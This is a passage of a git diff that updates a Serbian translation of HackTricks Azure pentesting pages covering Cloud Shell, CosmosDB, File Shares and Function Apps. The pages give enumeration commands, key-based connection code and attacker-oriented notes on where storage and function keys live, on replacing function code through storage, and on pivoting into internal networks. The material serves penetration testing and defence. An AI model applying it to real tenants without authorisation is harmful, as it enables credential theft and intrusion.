> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> Danas se preporučuje dodavanje ovih ograničenja putem politika uslovnog pristupa gde je moguće konfigurisati iste opcije. -### Entra Password Protection +### Entra Zaštita Lozinki -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra Zaštita Lozinki ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja**.\ +Takođe omogućava da se **zabranjuje prilagođena lista lozinki** koju treba da obezbedite. -It can be **applied both** at the cloud level and on-premises Active Directory. +Može se **primeniti i na** nivou oblaka i na lokalnom Active Directory-ju. -The default mode is **Audit**: +Podrazumevani režim je **Revizija**:
-## References +## Reference - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index c14d3fac7..9658bfc77 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,7 +4,7 @@ ## Azure Cloud Shell -**Azure Cloud Shell** je interaktivni, autentifikovani terminal dostupan preko pregledača, dizajniran za upravljanje Azure resursima, nudeći fleksibilnost rada sa Bash ili PowerShell. Pokreće se na privremenom, po sesiji hostu koji se isključuje nakon 20 minuta neaktivnosti, dok se datoteke čuvaju na $HOME lokaciji koristeći 5-GB deljenje datoteka. Cloud Shell se može pristupiti kroz više tačaka, uključujući Azure portal, shell.azure.com, Azure CLI i PowerShell dokumentaciju, Azure mobilnu aplikaciju i Visual Studio Code Azure Account ekstenziju. +**Azure Cloud Shell** je interaktivni, autentifikovani terminal dostupan preko pregledača, dizajniran za upravljanje Azure resursima, nudeći fleksibilnost rada sa Bash ili PowerShell. Pokreće se na privremenom, po sesiji hostu koji se isključuje nakon 20 minuta neaktivnosti, dok se datoteke čuvaju na lokaciji $HOME koristeći deljenje datoteka od 5 GB. Cloud Shell se može pristupiti kroz više tačaka, uključujući Azure portal, shell.azure.com, Azure CLI i PowerShell dokumentaciju, Azure mobilnu aplikaciju i Visual Studio Code Azure Account ekstenziju. Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija. Takođe, ne postoji nikakva vrsta enumeracije. @@ -13,19 +13,19 @@ Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija. **Okruženje**: Azure Cloud Shell pruža sigurno okruženje pokretanjem na Azure Linux, Microsoftovoj vlastitoj Linux distribuciji dizajniranoj za cloud infrastrukturu. Svi paketi uključeni u Azure Linux repozitorijum su interno kompajlirani od strane Microsofta kako bi se zaštitili od napada na lanac snabdevanja. **Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list". **$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje. Odabirom da ne povežete skladište stvara se ephemerna sesija u kojoj se datoteke brišu kada sesija završi. Da biste sačuvali datoteke između sesija, montirajte nalog za skladištenje, koji se automatski povezuje kao **$HOME\clouddrive**, sa vašim **$HOME** direktorijumom sačuvanim kao **.img** datoteka u Azure File Share. Međutim, datoteke van $HOME i stanja mašine se ne čuvaju. Za sigurno čuvanje tajni poput SSH ključeva, koristite Azure Key Vault. -**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Compute, Network i Storage koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj kućni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska. -**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama. +**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Compute, Network i Storage koristeći komande slične datotečnom sistemu. Prebacite se na Azure disk sa cd Azure: i vratite se u svoj kućni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska. +**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoju postavku svojim specifičnim potrebama. ## Reference -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Postojanost -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 55c59138a..7a75c5715 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -4,7 +4,7 @@ ## Azure CosmosDB -**Azure Cosmos DB** je potpuno **upravljana NoSQL, relacijska i vektorska baza podataka** koja nudi vreme odziva u milisekundama sa jednim cifrom, automatsku skalabilnost i dostupnost podržanu SLA-om uz sigurnost na nivou preduzeća. Omogućava brži razvoj aplikacija kroz ključne višeregionalne distribucije podataka, open-source API-je, SDK-ove za popularne jezike i AI funkcije baze podataka kao što su integrisana podrška za vektore i besprekorno Azure AI integraciju. +**Azure Cosmos DB** je potpuno **upravljana NoSQL, relacijska i vektorska baza podataka** koja nudi vreme odziva u milisekundama sa jednim cifrom, automatsku skalabilnost i dostupnost podržanu SLA-om uz sigurnost na nivou preduzeća. Omogućava brži razvoj aplikacija kroz ključne višeregionalne distribucije podataka, open-source API-je, SDK-ove za popularne jezike i AI funkcije baze podataka kao što su integrisana podrška za vektore i besprekorno Azure AI integrisanje. Azure Cosmos DB pruža više API-ja za baze podataka kako bi modelovao podatke iz stvarnog sveta koristeći dokumente, relacione, ključ-vrednost, grafičke i kolone-porodice modele podataka, a ti API-ji su NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin i Table. @@ -12,24 +12,19 @@ Jedan ključni aspekt CosmosDB-a je Azure Cosmos Account. **Azure Cosmos Account ### NoSQL (sql) Azure Cosmos DB NoSQL API je API zasnovan na dokumentima koji koristi JSON kao svoj format podataka. Pruža SQL-sličnu sintaksu upita za upit JSON objekata, što ga čini pogodnim za rad sa strukturiranim i polu-strukturiranim podacima. Krajnja tačka usluge je: - -{% code overflow="wrap" %} ```bash https://.documents.azure.com:443/ ``` -{% endcode %} - #### Baze podataka Unutar naloga, možete kreirati jednu ili više baza podataka, koje služe kao logičke grupe kontejnera. Baza podataka deluje kao granica za upravljanje resursima i korisničkim dozvolama. Baze podataka mogu deliti obezbeđeni protok između svojih kontejnera ili dodeliti posvećeni protok pojedinačnim kontejnerima. #### Kontejneri -Osnovna jedinica za skladištenje podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može skladištiti podatke o kupcima, sa "customerId" kao ključem particije. +Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za osiguranje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može čuvati podatke o kupcima, sa "customerId" kao ključem particije. #### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Povezivanje -Za povezivanje je potrebna azure-cosmosDB (pip install azure-cosmos) biblioteka. Pored toga, krajnja tačka i ključ su ključne komponente za uspostavljanje veze. -{% code overflow="wrap" %} +Za povezivanje je potrebna biblioteka azure-cosmosDB (pip install azure-cosmos). Pored toga, krajnja tačka i ključ su ključne komponente za uspostavljanje veze. ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -Još jedan način uspostavljanja veze je korišćenje **DefaultAzureCredential()**. Samo je potrebno prijaviti se (az login) sa nalogom koji ima dozvole i izvršiti ga. U ovom slučaju, mora se izvršiti dodeljivanje uloge, dajući potrebne dozvole (vidi za više) - -{% code overflow="wrap" %} +Drugi način uspostavljanja veze je korišćenje **DefaultAzureCredential()**. Samo je potrebno prijaviti se (az login) sa nalogom koji ima dozvole i izvršiti ga. U ovom slučaju, mora se izvršiti dodeljivanje uloge, dajući potrebne dozvole (vidi za više). ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,28 +174,21 @@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB MongoDB NoSQL API je API zasnovan na dokumentima koji koristi JSON-sličan BSON (Binary JSON) kao svoj format podataka. Pruža jezik upita sa mogućnostima agregacije, što ga čini pogodnim za rad sa strukturiranim, polu-strukturiranim i nestrukturiranim podacima. Krajnja tačka usluge obično prati ovaj format: - -{% code overflow="wrap" %} ```bash mongodb://:/ ``` -{% endcode %} - #### Baze podataka U MongoDB-u, možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte. #### Kolekcije -Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju. +Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije visokog protoka preko više čvorova u distribuiranom okruženju. #### Enumeracija -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -#### Povezivanje +#### Veza -Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanoj u sekciji privesc. -{% code overflow="wrap" %} +Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanim u sekciji privesc. ```python from pymongo import MongoClient @@ -311,33 +287,29 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## Reference -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## Eskalacija privilegija -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## Post Eksploatacija -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## ToDo * Ostatak DB ovde, tabele, cassandra, gremlin... -* Pogledajte post eksploataciju "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" i definicije uloga jer ovde može biti privesc +* Pogledajte post eksploataciju "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" i definicije uloga jer ovde može biti eskalacija privilegija * Pogledajte restoracije - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 943c986e7..9a8054a5a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -11,27 +11,27 @@ - **Optimizovano za transakcije**: Optimizovano za operacije sa velikim brojem transakcija. - **Vruće**: Između transakcija i skladištenja. - **Hladno**: Ekonomično za skladištenje. -- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i IOPS-intenzivnim zadacima. +- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i visokim IOPS. -### Bekap +### Backup -- **Dnevni bekap**: Tačka bekapa se kreira svakog dana u naznačeno vreme (npr. 19.30 UTC) i čuva se od 1 do 200 dana. -- **Nedeljni bekap**: Tačka bekapa se kreira svake nedelje u naznačen dan i vreme (nedelja u 19.30) i čuva se od 1 do 200 nedelja. -- **Mesečni bekap**: Tačka bekapa se kreira svakog meseca u naznačen dan i vreme (npr. prva nedelja u mesecu u 19.30) i čuva se od 1 do 120 meseci. -- **Godišnji bekap**: Tačka bekapa se kreira svake godine u naznačen dan i vreme (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina. -- Takođe je moguće izvršiti **ručne bekape i snimke u bilo kojem trenutku**. Bekap i snimci su zapravo isto u ovom kontekstu. +- **Dnevni backup**: Tačka backup-a se kreira svakog dana u određenom vremenu (npr. 19.30 UTC) i čuva se od 1 do 200 dana. +- **Nedeljni backup**: Tačka backup-a se kreira svake nedelje u određenom danu i vremenu (nedeljom u 19.30) i čuva se od 1 do 200 nedelja. +- **Mesečni backup**: Tačka backup-a se kreira svakog meseca u određenom danu i vremenu (npr. prva nedelja u mesecu u 19.30) i čuva se od 1 do 120 meseci. +- **Godišnji backup**: Tačka backup-a se kreira svake godine u određenom danu i vremenu (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina. +- Takođe je moguće izvršiti **ručne backup-e i snimke u bilo kojem trenutku**. Backup-i i snimci su zapravo isti u ovom kontekstu. ### Podržane autentifikacije putem SMB -- **Autentifikacija on-premises AD DS**: Koristi on-premises Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa on-premises AD DS. -- **Autentifikacija Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaka zasnovan AD) za pružanje pristupa koristeći Microsoft Entra akreditive. +- **Autentifikacija putem on-premises AD DS**: Koristi on-premises Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa on-premises AD DS. +- **Autentifikacija putem Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaci AD) za pružanje pristupa koristeći Microsoft Entra akreditive. - **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez potrebe za povezivanjem sa on-premises domen kontrolerima. Ali ne podržava identitete koji su samo u oblaku. - **AD Kerberos autentifikacija za Linux klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem on-premises AD DS ili Microsoft Entra Domain Services. ## Enumeracija -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,14 +81,14 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] > Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID principal, koristite parametre `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] -> Koristite parametar `--account-key` da biste naznačili ključ naloga koji treba koristiti\ +> Koristite parametar `--account-key` da naznačite ključ naloga koji treba koristiti\ > Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena ### Povezivanje diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index fd35ec32e..a52cdea8f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -2,24 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne informacije +## Osnovne Informacije -**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo vreme obrade kada se vaš kod izvršava. +**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava. > [!NOTE] > Imajte na umu da su **Functions podskup App Services**, stoga će mnoge funkcije o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli). -### Različiti planovi +### Različiti Planovi - **Flex Consumption Plan**: Nudi **dinamičko, događajima vođeno skaliranje** sa plaćanjem po korišćenju, dodajući ili uklanjajući instance funkcija na osnovu potražnje. Podržava **virtuelno umrežavanje** i **pre-provisioned instances** kako bi se smanjili hladni startovi, što ga čini pogodnim za **varijabilne radne opterećenja** koja ne zahtevaju podršku kontejnera. - **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada funkcije rade**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **intermitentna radna opterećenja** koja zahtevaju automatsko skaliranje. - **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje**, i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije. - **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade**, i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa. -- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **aplikacije vođene događajima, skalabilne kontejnerizovane aplikacije**. +- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **događajima vođene, skalabilne kontejnerizovane aplikacije**. ### **Storage Buckets** -Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod. +Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Po defaultu, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod. Štaviše, modifikovanjem koda unutar bucket-a (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove. @@ -28,25 +28,25 @@ Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvr > > Više o ovome u **odeljku o eskalaciji privilegija**. -Takođe je moguće pronaći **master i functions ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **``** u JSON datotekama koje možete pronaći unutra. +Takođe je moguće pronaći **master i funkcijske ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **``** u JSON datotekama koje možete pronaći unutra. Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaciji jednostavno ukazujući na URL. -### Mrežno umrežavanje +### Mrežno Umrežavanje Korišćenjem HTTP okidača: -- Moguće je dati **pristup funkciji sa celog Interneta** bez zahteva za autentifikacijom ili dati pristup na osnovu IAM. Iako je takođe moguće ograničiti ovaj pristup. +- Moguće je dati **pristup funkciji sa celog Interneta** bez potrebe za bilo kakvom autentifikacijom ili dati pristup na osnovu IAM-a. Iako je takođe moguće ograničiti ovaj pristup. - Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internetske mreže (VPC)**. > [!CAUTION] > Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene internetu. -### **Podešavanja Function App-a i promenljive okruženja** +### **Podešavanja Function App-a & Varijable Okruženja** -Moguće je konfigurisati promenljive okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, podrazumevano se kreiraju promenljive okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga. +Moguće je konfigurisati varijable okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, po defaultu se kreiraju varijable okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga. -Ove promenljive okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi. +Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi. ### **Function Sandbox** @@ -54,27 +54,27 @@ Unutar linux sandbox-a, izvorni kod se nalazi u **`/home/site/wwwroot`** u datot U **Windows** funkciji koja koristi NodeJS, kod se nalazio u **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, korisničko ime je bilo **`mawsFnPlaceholder8_f_v4_node_20_x86`** i bio je deo **grupa**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`. -### **Upravljane identitete i metapodaci** +### **Upravljane Identitete & Metapodaci** -Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen. +Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane Identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen. **Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** koja ga ima dodeljenog može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**. > [!NOTE] -> Baš kao i u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljeni identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije. +> Baš kao u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **several korisnik dodeljenih**, tako da je 